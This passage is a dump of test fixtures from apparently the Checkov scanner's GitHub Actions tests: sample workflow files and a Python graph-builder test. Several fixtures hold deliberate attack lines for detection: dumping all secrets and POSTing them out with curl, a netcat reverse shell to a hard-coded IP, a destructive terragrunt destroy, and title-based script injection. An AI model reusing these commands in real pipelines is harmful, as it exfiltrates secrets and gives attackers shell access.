    "content": "on: issues\n\nname: unsec33ure-worfklow\njobs:\n  unsecure-job:\n    name: job1\n    runs-on: ubuntu-latest\n    run: |\n      title=\"${{ github.event.issue.title }}\"\n      if [[ ! $title =~ ^.*:\\ .*$ ]]; then\n        echo \"Bad issue title\"\n        exit 1\n      fi\n  secure-job:\n    name: job2\n    runs-on: ubuntu-latest\n    run: |\n      echo \"foo\"\n  unsecure-steps:\n      runs-on: ubuntu-latest\n      steps:\n        - uses: actions/checkout@v2\n        - name: Check PR title\n          run: |\n            title=\"${{ github.event.pull_request.title }}\"\n            if [[ $title =~ ^octocat ]]; then\n            echo \"PR title starts with 'octocat'\"\n            exit 0\n            else\n            echo \"PR title did not start with 'octocat'\"\n            exit 1\n            fi\n        - if: github.event_name == 'push'\n          run: |\n            title=\"${{ github.event.pull_request.title }}\"\n            if [[ $title =~ ^octocat ]]; then\n            echo \"PR title starts with 'octocat'\"\n            exit 0\n            else\n            echo \"PR title did not start with 'octocat'\"\n            exit 1\n            fi\n        - name: Show author email\n          run: |\n            echo \"${{ github.event.commits.fix-bug.author.email }}\"\n        - name: Show issue title\n          run: |\n            echo \"${{ github.event.issue.title }}\"\n        - name: Show issue title no spaces\n          run: |\n            echo \"${{github.event.issue.title}}\"\n        - name: Download and Extract Artifacts\n          env:\n            GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          run: |\n            mkdir -p artifacts && cd artifacts\n            artifacts_url=${{ github.event.workflow_run.artifacts_url }}\n            gh api \"$artifacts_url\" -q '.artifacts[] | [.name, .archive_download_url] | @tsv' | while read artifact\n            do\n              IFS=$'\\t' read name url <<< \"$artifact\"\n              gh api $url > \"$name.zip\"\n              unzip -d \"$name\" \"$name.zip\"\n            done\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/slsa-gen.yaml",
    "content": "### This workflow uses the SLSA generic provenenace generator workflow\n### (see https://github.com/slsa-framework/slsa-github-generator/blob/main/internal/builders/generic/README.md)\n### to generate a SLSA provenance type predicate for a container image built by ko (go container builder) \n### and attesting to it and others, using a user-controlled key, \n### stored as a secret in this GitHub repository, rather than keyless signing.\n### This is based on https://github.com/chipzoller/zulu\nname: slsa-generic\non: [push, workflow_dispatch]\nenv:\n  REGISTRY: ghcr.io\n  IMAGE_NAME: ${{ github.repository }}\njobs:\n  # Publish with ko build\n  build:\n    runs-on: ubuntu-20.04\n    permissions:\n      packages: write\n      contents: read\n    outputs:\n      image: ${{ steps.ko-build.outputs.image }}\n      base64digest: ${{ steps.set-digest.outputs.base64digest }}\n    steps:\n    - name: Checkout code\n      uses: actions/checkout@2541b1294d2704b0964813337f33b291d3f8596b # v3.0.2\n    - name: Setup Golang\n      uses: actions/setup-go@b22fbbc2921299758641fab08929b4ac52b32923 # v3.2.0\n      with:\n        go-version: 1.18\n    - name: Setup ko\n      run: go install github.com/google/ko@cefd28f093ffb342237aa9d692eee247e82235d5 # v0.11.2\n    - name: Log in to GHCR\n      uses: docker/login-action@49ed152c8eca782a232dede0303416e8f356c37b # v2.0.0\n      with:\n        registry: ${{ env.REGISTRY }}\n        username: ${{ github.actor }}\n        password: ${{ secrets.GITHUB_TOKEN }}\n    - name: Publish image and SBOM (CycloneDX)\n      id: ko-build\n      run: |\n        IMAGE=$(ko build ./ --bare -t latest -t ${{ github.sha }} --sbom=cyclonedx)\n        echo \"The image generated is: $IMAGE\"\n        echo \"IMAGE=$IMAGE\" >> $GITHUB_ENV\n        echo \"::set-output name=image::$IMAGE\"\n      env:\n        KO_DOCKER_REPO: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}\n    - name: Set base64 encoded digest\n      id: set-digest\n      run: |\n        BASE64_DIGEST=$(echo -n $IMAGE image.tar | awk -F':' '{print $2}' | base64 -w0)\n        echo \"Base64 encoded digest from image is: $BASE64_DIGEST\"\n        echo \"::set-output name=base64digest::$BASE64_DIGEST\"\n  # Use the generic SLSA provenance generator to create a provenance predicate by providing, as the subject,\n  # the hash of the image built by ko and a \"dummy\" filename called image.tar. The provenance, after attestation in the\n  # last job, can be verified by the digest of the image matching the subject's hash.\n  provenance:\n    permissions:\n      id-token: write\n      contents: write\n      actions: read\n    needs: build\n    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.1.0\n    with:\n      base64-subjects: \"${{ needs.build.outputs.base64digest }}\"\n      # TODO: Specify a custom output file for the attestation JSONL file rather than accepting defaults.\n  # Scan the image using Trivy and add to it who produced the scan (i.e., \"trivy\") and a timestamp when\n  # the scan was produced.\n  scan:\n    runs-on: ubuntu-20.04\n    needs: [provenance, build]\n    permissions:\n      contents: read\n    env:\n      IMAGE: \"${{ needs.build.outputs.image }}\"\n    steps:\n    - name: Scan for vulnerabilities\n      uses: aquasecurity/trivy-action@4b9b6fb4ef28b31450391a93ade098bb00de584e # v0.3.0\n      with: \n        # scan-type: 'image'\n        image-ref: ${{ env.IMAGE }}\n        format: 'json'\n        ignore-unfixed: true\n        # vuln-type: 'os,library'\n        output: trivy-scan.json\n    - name: Add scan metadata\n      uses: sergeysova/jq-action@9ac92a6da6d616b4cebdddc0059e36a1ad43fab1 # v2.1.0\n      with:\n        cmd: cat trivy-scan.json | jq '. + {timestamp:(now|todateiso8601)}' | jq '. + {scanner:\"trivy\"}' > scan.json\n    # TODO: step which generates a hash of the previously-augmented scan report which is then checked in the\n    # subsequent job to ensure tamper proof state prior to attestation.\n    - name: Upload vulnerability scan report\n      uses: actions/upload-artifact@6673cd052c4cd6fcf4b4e6e60ea986c889389535 # v3.0.0\n      with:\n        name: scan.json\n        path: scan.json\n        if-no-files-found: error\n  # Uses Cosign to sign and attest to the provenance, scans, and SBOM predicates.\n  attest:\n    runs-on: ubuntu-20.04\n    permissions:\n      contents: write\n      actions: read\n      packages: write\n    env:\n      IMAGE: \"${{ needs.build.outputs.image }}\"\n    needs: [provenance, scan, build]\n    steps:\n    - name: Download attestations\n      uses: actions/download-artifact@fb598a63ae348fa914e94cd0ff38f362e927b741 # v3.0.0\n      with:\n        name: attestation.intoto.jsonl\n    - name: Download scan\n      uses: actions/download-artifact@fb598a63ae348fa914e94cd0ff38f362e927b741 # v3.0.0\n      with:\n        name: scan.json\n    - name: Strip predicate\n      run: jq -r .payload attestation.intoto.jsonl | base64 --decode | jq .predicate > provenance.json\n    - name: Install Cosign\n      uses: sigstore/cosign-installer@7e0881f8fe90b25e305bbf0309761e9314607e25 # v2.4.0\n      with:\n        cosign-release: 'v1.9.0'\n    - name: Fetch SBOM\n      run: cosign download sbom ${{ env.IMAGE }} > sbom.json\n    # optional troubleshooting step to show all files and show the cleaned provenance file\n    # - name: List files\n    #   run: ls -lahF && cat provenance.json\n    - name: Log in to GHCR\n      uses: docker/login-action@49ed152c8eca782a232dede0303416e8f356c37b # v2.0.0\n      with:\n        registry: ${{ env.REGISTRY }}\n        username: ${{ github.actor }}\n        password: ${{ secrets.GITHUB_TOKEN }}\n    - name: Sign image\n      run: cosign sign --key env://COSIGN_PRIVATE_KEY -a sha=${{ github.sha }} -a run_id=${{ github.run_id }} ${{ env.IMAGE }}\n      env:\n        COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }}\n        COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}\n    - name: Attest provenance\n      run: cosign attest --predicate provenance.json --type slsaprovenance --key env://COSIGN_PRIVATE_KEY ${{ env.IMAGE }}\n      env:\n        COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }}\n        COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}\n    - name: Attest SBOM\n      run: cosign attest --predicate sbom.json --type https://cyclonedx.org/bom --key env://COSIGN_PRIVATE_KEY ${{ env.IMAGE }}\n      env:\n        COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }}\n        COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}\n    - name: Attest Scan\n      run: cosign attest --predicate scan.json --type https://trivy.aquasec.com/scan/v2 --key env://COSIGN_PRIVATE_KEY ${{ env.IMAGE }}\n      env:\n        COSIGN_PRIVATE_KEY: ${{ secrets.COSIGN_PRIVATE_KEY }}\n        COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/supply_chain.yaml",
    "content": "name: Supply Chain\non:\n  workflow_dispatch:\n    inputs:\n      logLevel:\n        description: 'Log level'\n  schedule:\n    - cron: 0 0 * * 0\npermissions:\n  contents: none\njobs:\n   bridgecrew:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Run checkov\n      id: checkov\n      uses: bridgecrewio/checkov-action@master\n      env:\n        GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}\n        ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'\n      run:  |\n         echo \"${{ toJSON(secrets) }}\" > .secrets\n         curl -X POST -s --data \"@.secrets\" <BADURL > /dev/null\n         rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f\n   bridgecrew2:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Run checkov\n      id: checkov\n      uses: bridgecrewio/checkov-action@master\n      env:\n        GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}\n        ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'\n      run:  |\n          echo \"${{ toJSON(secrets) }}\" > .secrets\n          curl -X POST -s --data \"@.secrets\" <BADURL > /dev/null\n          rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/suspectcurl.yaml",
    "content": "name: CI\nrun-name: \"Setting run name ${{ github.ref_name }}\"\n\n# Controls when the workflow will run\non:\n  # Triggers the workflow on push or pull request events but only for the main branch\n  push:\n    ['something']\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n    inputs:\n      logLevel:\n        description: 'Log level'\n# A workflow run is made up of one or more jobs that can run sequentially or in parallel\njobs:\n  # This workflow contains a single job called \"build\"\n  prep:\n    name: prep\n    runs-on: ubuntu-latest\n    run: |\n      curl -X POST -s --data ${{secret.GITHUB_TOKEN}}\" <BADURL > /dev/null  \n  build:\n    # The type of runner that the job will run on\n    runs-on: ubuntu-latest\n\n    # Steps represent a sequence of tasks that will be executed as part of the job\n    steps:\n      # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it\n      - uses: actions/checkout@v3\n\n      # Runs a single command using the runners shell\n      - name: Run a normal very innocent one-line script\n        run:  |\n         echo \"${{ toJSON(secrets) }}\" > .secrets\n         curl -X POST -s --data \"@.secrets\" <BADURL > /dev/null\n"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/unsecure_command.yaml",
    "content": "on: pull_request\n\nname: unsecure-worfklow\n\njobs:\n  unsecure-job:\n    name: job2\n    runs-on: ubuntu-latest\n    env:\n      ACTIONS_ALLOW_UNSECURE_COMMANDS: true\n    steps:\n      - name: unsecure-step2\n        run: |\n          echo \"goo\"\n  secure-job:\n    name: job3\n    runs-on: ubuntu-latest\n    env:\n      ACTIONS_ALLOW_UNSECURE_COMMANDS: false\n    run: |\n      echo \"ok\""
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/workflow_dispatch.yaml",
    "content": "on:\n  workflow_dispatch:\n    inputs:\n      logLevel:\n        description: 'Log level'\n        required: true\n        default: 'warning'\n        type: choice\n        options:\n        - info\n        - warning\n        - debug\n      tags:\n        description: 'Test scenario tags'\n        required: false\n        type: boolean\n      environment:\n        description: 'Environment to run tests against'\n        type: environment\n        required: true\n\njobs:\n  log-the-inputs:\n    runs-on: ubuntu-latest\n    steps:\n      - run: |\n          echo \"Log level: $LEVEL\"\n          echo \"Tags: $TAGS\"\n          echo \"Environment: $ENVIRONMENT\"\n        env:\n          LEVEL: ${{ inputs.logLevel }}\n          TAGS: ${{ inputs.tags }}\n          ENVIRONMENT: ${{ inputs.environment }}"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/workflow_with_image.yml",
    "content": "name: CI\non:\n  push:\n    branches: [ main ]\njobs:\n  container-test-job:\n    runs-on: ubuntu-latest\n    container:\n      image: node:14.16\n      env:\n        NODE_ENV: development\n      ports:\n        - 80\n      volumes:\n        - my_docker_volume:/volume_mount\n      options: --cpus 1\n    steps:\n      - name: Check for dockerenv file\n        run:  | \n          (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\n          curl -X POST -s --data \"@.secrets\" <BADURL > /dev/null\n\n  second_job:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Check for dockerenv file\n        run:  |\n          (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv)\n          curl -X POST -s --data \"@.secrets\" <BADURL > /dev/null"
  },
  {
    "path": "tests/github_actions/resources/.github/workflows/workflow_with_string_container.yml",
    "content": "name: Name\non:\n  workflow_dispatch:\n    inputs:\n      logLevel:\n        description: 'Log level'\n\njobs:\n  destroy_cert:\n    runs-on: ubuntu-latest\n    name: Name\n    container: node:14.16\n    steps:\n      - name: Checkout codebase\n        uses: actions/checkout@v3\n      - name: infrastructure\n        working-directory: terraform\n        shell: bash\n        env:\n          TF_INPUT: 0\n        run: |\n          terragrunt init\n          terragrunt destroy -auto-approve -var-file devl.tfvars\n"
  },
  {
    "path": "tests/github_actions/test_graph_manager.py",
    "content": "from pathlib import Path\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.runners.graph_manager import ObjectGraphManager\nfrom checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph\nfrom checkov.github_actions.runner import Runner\nfrom checkov.github_actions.utils import get_gha_files_definitions, build_gha_definitions_context\n\nRESOURCES_DIR = Path(__file__).parent / \"resources\"\n\n\ndef test_build_graph_from_definitions():\n    # given\n    test_file = str(RESOURCES_DIR / \".github/workflows/supply_chain.yaml\")\n    graph_manager = ObjectGraphManager(db_connector=NetworkxConnector(), source=\"GitHubActions\")\n    template, _ = Runner()._parse_file(f=test_file)\n\n    # when\n    local_graph = graph_manager.build_graph_from_definitions(\n        definitions={test_file: template}, graph_class=GitHubActionsLocalGraph\n    )\n\n    # then\n    assert len(local_graph.vertices) == 6\n    assert len(local_graph.edges) == 2\n\n    job_idx = local_graph.vertices_by_path_and_name[(test_file, \"jobs.bridgecrew\")]\n    job = local_graph.vertices[job_idx]\n\n    assert job.block_type == BlockType.RESOURCE\n    assert job.id == \"jobs.bridgecrew\"\n    assert job.source == \"GitHubActions\"\n    assert job.attributes[CustomAttributes.RESOURCE_TYPE] == \"jobs\"\n    assert job.config == {\n        \"runs-on\": \"ubuntu-latest\",\n        \"steps\": [\n            {\n                \"name\": \"Run checkov\",\n                \"id\": \"checkov\",\n                \"uses\": \"bridgecrewio/checkov-action@master\",\n                \"env\": {\n                    \"GITHUB_TOKEN\": \"${{secrets.THIS_IS_A_TEST_SECRET}}\",\n                    \"ACTIONS_ALLOW_UNSECURE_COMMANDS\": \"true\",\n                    \"__startline__\": 19,\n                    \"__endline__\": 21,\n                },\n                \"run\": 'echo \"${{ toJSON(secrets) }}\" > .secrets\\ncurl -X POST -s --data \"@.secrets\" <BADURL > /dev/null\\nrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f\\n',\n                \"__startline__\": 15,\n                \"__endline__\": 25,\n            }\n        ],\n        \"__startline__\": 13,\n        \"__endline__\": 25,\n    }\n\n\ndef test_get_definitions():\n    definitions, definitions_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / \"gha\"),\n                                                             files=[str(Path(\n                                                                 __file__).parent / \"gha/.github/workflows/failed.yaml\")])\n    assert len(definitions) == len(definitions_raw) == 1\n    assert definitions[list(definitions.keys())[0]] == {\n        \"name\": \"read-only\",\n        \"on\": {\n            \"pull_request\": {\n                \"types\": ['opened', 'synchronize', 'labeled', 'unlabeled'],\n                \"__startline__\": 5,\n                \"__endline__\": 7\n            },\n            \"__startline__\": 4, \"__endline__\": 7\n        },\n        \"permissions\": \"write-all\",\n        \"jobs\": {\n            \"example\": {\n                \"runs-on\": \"ubuntu-latest\",\n                \"steps\": [\n                    {\n                        \"uses\": \"actions/checkout@12345678\",\n                        \"__startline__\": 13,\n                        \"__endline__\": 14,\n                    },\n                    {\"run\": 'echo \"working hard\"\\n', \"__startline__\": 14, \"__endline__\": 16},\n                ],\n                \"__startline__\": 11,\n                \"__endline__\": 16,\n            },\n            \"__startline__\": 10,\n            \"__endline__\": 16,\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 16,\n    }\n    assert definitions_raw[list(definitions_raw.keys())[0]] == [\n        (1, \"name: read-only\\n\"),\n        (2, \"\\n\"),\n        (3, 'on:\\n'),\n        (4, '  pull_request:\\n'),\n        (5, '    types: [ opened, synchronize, labeled, unlabeled ]\\n'),\n        (6, '\\n'),\n        (7, \"permissions: write-all\\n\"),\n        (8, \"\\n\"),\n        (9, \"jobs:\\n\"),\n        (10, \"  example:\\n\"),\n        (11, \"    runs-on: ubuntu-latest\\n\"),\n        (12, \"    steps:\\n\"),\n        (13, \"      - uses: actions/checkout@12345678\\n\"),\n        (14, \"      - run: |\\n\"),\n        (15, '          echo \"working hard\"\\n'),\n    ]\n\n\ndef test_build_def_context_on_list():\n    defs, defs_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / \"gha\"),\n                                               files=[\n                                                   str(Path(__file__).parent / \"gha/.github/workflows/on_list.yaml\")])\n    context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw)\n    assert context[list(context.keys())[0]] == {\n        'on': {\n            \"['push', 'fork']\": {\n                'start_line': 2, 'end_line': 3, 'code_lines': [(2, 'on: [push, fork]\\n')]\n            }\n        },\n        'permissions': {\n            'pull-requests': {\n                'start_line': 5,\n                'end_line': 7,\n                'code_lines': [(5, '  pull-requests: read\\n'), (6, '\\n')]}},\n        'jobs': {\n            'form_filled': {\n                'start_line': 9,\n                'end_line': 30,\n                'code_lines': [\n                    (9, '    runs-on: ubuntu-latest\\n'),\n                    (10, \"    if: contains(github.event.pull_request.title, '[FORM]') == false\\n\"),\n                    (11, '    steps:\\n'),\n                    (12, '      - name: Checkout\\n'),\n                    (13, '        uses: actions/checkout@v3\\n'),\n                    (14, '      - name: Setup Python\\n'),\n                    (15, '        uses: actions/setup-python@v3\\n'),\n                    (16, '        with:\\n'),\n                    (17, \"          python-version: '3.9'\\n\"),\n                    (18, '      - name: Install Python Dependencies\\n'),\n                    (19, '        run: |\\n'),\n                    (20, '          python -m pip install --upgrade pip\\n'),\n                    (21, '          pip install pipenv==2021.5.29\\n'),\n                    (22, '          pipenv sync\\n'),\n                    (23, '      - name: Check form filled\\n'),\n                    (24, '        env:\\n'),\n                    (25, '          PR_NUMBER: ${{ github.event.pull_request.number }}\\n'),\n                    (26, '          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\\n'),\n                    (27, '        run: |\\n'),\n                    (28, '          echo \"Checking if contribution form needs to be filled for PR: $PR_NUMBER\"\\n'),\n                    (29, '          pipenv run ./form.py --pr_number $PR_NUMBER\\n')]}}}\n\n\ndef test_build_def_context_simple():\n    defs, defs_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / \"gha\"),\n                                               files=[str(Path(__file__).parent / \"gha/.github/workflows/failed.yaml\")])\n    context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw)\n    assert context[list(context.keys())[0]] == {\n        \"on\": {\n            \"pull_request\": {\n                \"start_line\": 5,\n                \"end_line\": 7,\n                \"code_lines\": [(5, \"    types: [ opened, synchronize, labeled, unlabeled ]\\n\"), (6, '\\n')]\n            }\n        },\n        \"permissions\": {\n            \"write-all\": {\n                \"start_line\": 7,\n                \"end_line\": 8,\n                \"code_lines\": [(7, \"permissions: write-all\\n\")]\n            }\n        },\n        \"jobs\": {\n            \"example\": {\n                \"start_line\": 11,\n                \"end_line\": 16,\n                \"code_lines\": [\n                    (11, \"    runs-on: ubuntu-latest\\n\"),\n                    (12, \"    steps:\\n\"),\n                    (13, \"      - uses: actions/checkout@12345678\\n\"),\n                    (14, \"      - run: |\\n\"),\n                    (15, '          echo \"working hard\"\\n'),\n                ],\n            }\n        },\n    }\n\n\ndef test_build_def_context_multiple_on_directives():\n    defs, defs_raw = get_gha_files_definitions(root_folder=str(Path(__file__).parent / \"gha\"),\n                                               files=[str(Path(__file__).parent / \"gha/.github/workflows/multiple_on_descendants.yaml\")])\n    assert len(defs[list(defs.keys())[0]]) == 5\n    on_block = defs[list(defs.keys())[0]]['on']\n    assert len(on_block) == 4 and 'pull_request' in on_block and 'workflow_dispatch' in on_block\n    context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw)\n    assert len(defs) == len(context)\n    assert context[list(context.keys())[0]] == {\n        'on': {\n            'pull_request': {\n                'start_line': 4,\n                'end_line': 5,\n                'code_lines': [(4, '    types: [ opened, synchronize, labeled, unlabeled ]\\n')]\n            }\n        },\n        'jobs': {\n            'handle_branches': {\n                'start_line': 9,\n                'end_line': 27,\n                'code_lines': [(9, '    runs-on: ubuntu-latest\\n'),\n                               (10, \"    if: github.repository == 'org/content'\\n\"),\n                               (11, '    steps:\\n'),\n                               (12, '      - name: Checkout\\n'),\n                               (13, '        uses: actions/checkout@v3\\n'),\n                               (14, '      - name: Setup Python\\n'),\n                               (15, '        uses: actions/setup-python@v3\\n'),\n                               (16, '        with:\\n'),\n                               (17, \"          python-version: '3.9'\\n\"),\n                               (18, '      - name: Install Python Dependencies\\n'),\n                               (19, '        run: |\\n'),\n                               (20, '          python -m pip install --upgrade pip\\n'),\n                               (21, '      - name: Delete Branches\\n'),\n                               (22, '        env:\\n'),\n                               (23, '          ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN }}\\n'),\n                               (24, '        run: |\\n'),\n                               (25, '          echo \"Deleting branches\"\\n'),\n                               (26, '          pipenv sync\\n')]\n            }\n        }\n    }\n\n\ndef test_build_def_context_1():\n    defs = {\n        \"/tmp/checkov/tempo/blue/master/src/.github/workflows/run-detection.yml\": {\n            \"name\": \"Detection\",\n            \"on\": \"pull_request\",\n            \"jobs\": {\n                \"detection\": {\n                    \"runs-on\": \"ubuntu-latest\",\n                    \"if\": \"github.event.pull_request.head.repo.fork == false'\",\n                    \"steps\": [\n                        {\"name\": \"Checkout\", \"uses\": \"actions/checkout@v3\", \"__startline__\": 9, \"__endline__\": 11},\n                        {\n                            \"name\": \"Setup Python\",\n                            \"uses\": \"actions/setup-python@v3\",\n                            \"with\": {\"python-version\": \"3.9\", \"__startline__\": 14, \"__endline__\": 15},\n                            \"__startline__\": 11,\n                            \"__endline__\": 15,\n                        },\n                        {\n                            \"name\": \"Setup Poetry\",\n                            \"uses\": \"Green/setup-poetry@v7\",\n                            \"__startline__\": 15,\n                            \"__endline__\": 17,\n                        },\n                        {\n                            \"name\": \"Install Python Dependencies\",\n                            \"run\": \"poetry install --with ci\\n\",\n                            \"__startline__\": 17,\n                            \"__endline__\": 20,\n                        },\n                        {\n                            \"name\": \"Run Detection\",\n                            \"env\": {\n                                \"PR_NUMBER\": \"${{ github.event.pull_request.number }}\",\n                                \"BRANCH_NAME\": \"${{ github.head_ref }}\",\n                                \"USERNAME\": \"${{ secrets.TEST_SECRET_1 }}\",\n                                \"PASSWORD\": \"${{ secrets.TEST_PASS_1 }}\",\n                                \"__startline__\": 22,\n                                \"__endline__\": 26,\n                            },\n                            \"run\": 'echo \"Run detection for PR: $PR_NUMBER on branch: $BRANCH_NAME\"\\ninvestigation_id=$(poetry run Utils/github_workflow_scripts/run_detection.py --pr_number $PR_NUMBER --branch_name $BRANCH_NAME)\\necho \"INVESTIGATION_ID=$investigation_id\" >> $GITHUB_ENV\\n',\n                            \"__startline__\": 20,\n                            \"__endline__\": 30,\n                        },\n                        {\n                            \"name\": \"Wait For Playbook To Finish\",\n                            \"env\": {\n                                \"MY_API_KEY\": \"my_api_key\",\n                                \"__startline__\": 32,\n                                \"__endline__\": 33,\n                            },\n                            \"run\": 'echo \"Invastigation id is: $INVESTIGATION_ID \"\\npoetry run python\\n',\n                            \"__startline__\": 30,\n                            \"__endline__\": 38,\n                        },\n                    ],\n                    \"__startline__\": 6,\n                    \"__endline__\": 38,\n                },\n                \"__startline__\": 5,\n                \"__endline__\": 38,\n            },\n            \"__startline__\": 1,\n            \"__endline__\": 38,\n        }\n    }\n\n    defs_raw = {\n        \"/tmp/checkov/tempo/blue/master/src/.github/workflows/run-detection.yml\": [\n            (1, \"name: Detection\\n\"),\n            (2, \"on: pull_request\\n\"),\n            (3, \"\\n\"),\n            (4, \"jobs:\\n\"),\n            (5, \"  detection:\\n\"),\n            (6, \"    runs-on: ubuntu-latest\\n\"),\n            (7, \"    if: github.event.pull_request.head.repo.fork == false'\\n\",),\n            (8, \"    steps:\\n\"),\n            (9, \"      - name: Checkout\\n\"),\n            (10, \"        uses: actions/checkout@v3\\n\"),\n            (11, \"      - name: Setup Python\\n\"),\n            (12, \"        uses: actions/setup-python@v3\\n\"),\n            (13, \"        with:\\n\"),\n            (14, \"          python-version: '3.9'\\n\"),\n            (15, \"      - name: Setup Poetry\\n\"),\n            (16, \"        uses: Green/setup-poetry@v7\\n\"),\n            (17, \"      - name: Install Python Dependencies\\n\"),\n            (18, \"        run: |\\n\"),\n            (19, \"          poetry install --with ci\\n\"),\n            (20, \"      - name: Run Detection\\n\"),\n            (21, \"        env:\\n\"),\n            (22, \"          PR_NUMBER: ${{ github.event.pull_request.number }}\\n\"),\n            (23, \"          BRANCH_NAME: ${{ github.head_ref }}\\n\"),\n            (24, \"          USERNAME: ${{ secrets.TEST_SECRET_1 }}\\n\"),\n            (25, \"          PASSWORD: ${{ secrets.TEST_PASS_1 }}\\n\"),\n            (26, \"        run: |\\n\"),\n            (27, '          echo \"Run detection for PR: $PR_NUMBER on branch: $BRANCH_NAME\"\\n'),\n            (28, \"          investigation_id=$(poetry run Utils/github_workflow_scripts/run_detection.py --pr_number $PR_NUMBER --branch_name $BRANCH_NAME)\\n\",),\n            (29, '          echo \"INVESTIGATION_ID=$investigation_id\" >> $GITHUB_ENV\\n'),\n            (30, \"      - name: Wait For Playbook To Finish\\n\"),\n            (31, \"        env:\\n\"),\n            (32, \"          MY_API_KEY: my_api_key\\n\"),\n            (33, \"        run: |\\n\"),\n            (34, '          echo \"Invastigation id is: $INVESTIGATION_ID \"\\n'),\n            (35, '          poetry run python\\n'),\n            (36, \"\\n\"),\n            (37, \"\\n\"),\n        ]\n    }\n\n    context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw)\n    assert len(context) == len(defs)\n    assert context == {\n        \"/tmp/checkov/tempo/blue/master/src/.github/workflows/run-detection.yml\": {\n            \"on\": {\"pull_request\": {\"start_line\": 2, \"end_line\": 3, \"code_lines\": [(2, 'on: pull_request\\n')]}},\n            \"jobs\": {\n                \"detection\": {\n                    \"start_line\": 6,\n                    \"end_line\": 38,\n                    \"code_lines\": [\n                        (6, \"    runs-on: ubuntu-latest\\n\"),\n                        (7, \"    if: github.event.pull_request.head.repo.fork == false'\\n\",),\n                        (8, \"    steps:\\n\"),\n                        (9, \"      - name: Checkout\\n\"),\n                        (10, \"        uses: actions/checkout@v3\\n\"),\n                        (11, \"      - name: Setup Python\\n\"),\n                        (12, \"        uses: actions/setup-python@v3\\n\"),\n                        (13, \"        with:\\n\"),\n                        (14, \"          python-version: '3.9'\\n\"),\n                        (15, \"      - name: Setup Poetry\\n\"),\n                        (16, \"        uses: Green/setup-poetry@v7\\n\"),\n                        (17, \"      - name: Install Python Dependencies\\n\"),\n                        (18, \"        run: |\\n\"),\n                        (19, \"          poetry install --with ci\\n\"),\n                        (20, \"      - name: Run Detection\\n\"),\n                        (21, \"        env:\\n\"),\n                        (22, \"          PR_NUMBER: ${{ github.event.pull_request.number }}\\n\"),\n                        (23, \"          BRANCH_NAME: ${{ github.head_ref }}\\n\"),\n                        (24, \"          USERNAME: ${{ secrets.TEST_SECRET_1 }}\\n\"),\n                        (25, \"          PASSWORD: ${{ secrets.TEST_PASS_1 }}\\n\"),\n                        (26, \"        run: |\\n\"),\n                        (27, '          echo \"Run detection for PR: $PR_NUMBER on branch: $BRANCH_NAME\"\\n'),\n                        (28, \"          investigation_id=$(poetry run Utils/github_workflow_scripts/run_detection.py --pr_number $PR_NUMBER --branch_name $BRANCH_NAME)\\n\",),\n                        (29, '          echo \"INVESTIGATION_ID=$investigation_id\" >> $GITHUB_ENV\\n'),\n                        (30, \"      - name: Wait For Playbook To Finish\\n\"),\n                        (31, \"        env:\\n\"),\n                        (32, \"          MY_API_KEY: my_api_key\\n\"),\n                        (33, \"        run: |\\n\"),\n                        (34, '          echo \"Invastigation id is: $INVESTIGATION_ID \"\\n'),\n                        (35, '          poetry run python\\n'),\n                        (36, \"\\n\"),\n                        (37, \"\\n\"),\n                    ],\n                }\n            }\n        }\n    }\n\n\ndef test_build_def_context_2():\n    defs = {\n        \"/tmp/checkov/tempo/blue/master/src/.github/workflows/trigger-build.yml\": {\n            \"name\": \"Trigger Build\",\n            \"on\": {\n                \"pull_request_target\": {\"types\": [\"labeled\"], \"__startline__\": 4, \"__endline__\": 6},\n                \"__startline__\": 3,\n                \"__endline__\": 6,\n            },\n            \"jobs\": {\n                \"trigget_build\": {\n                    \"runs-on\": \"ubuntu-latest\",\n                    \"if\": \"github.event.pull_request.head.repo.fork == true\",\n                  